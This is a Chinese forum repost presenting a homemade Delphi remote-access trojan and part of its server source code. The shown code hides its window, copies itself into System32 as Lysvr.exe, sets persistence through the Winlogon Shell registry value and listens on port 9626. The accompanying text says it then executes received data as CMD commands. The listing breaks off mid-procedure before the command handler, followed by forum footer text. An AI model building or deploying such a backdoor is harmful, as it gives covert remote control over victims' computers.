程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。
源码如下:
////Server.pas//////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *.dfm}
procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'EXPlorer.exe Lysvr.exe' then
reg.WriteString('Shell','EXPlorer.exe Lysvr.exe'); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;
procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’
end;
procedure TFmMain.SSCl
欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛
https://bbs.txwb.com
关注天下网吧微信/下载天下网吧APP/天下网吧小程序,一起来超精彩
|
本文来源:网络 作者:佚名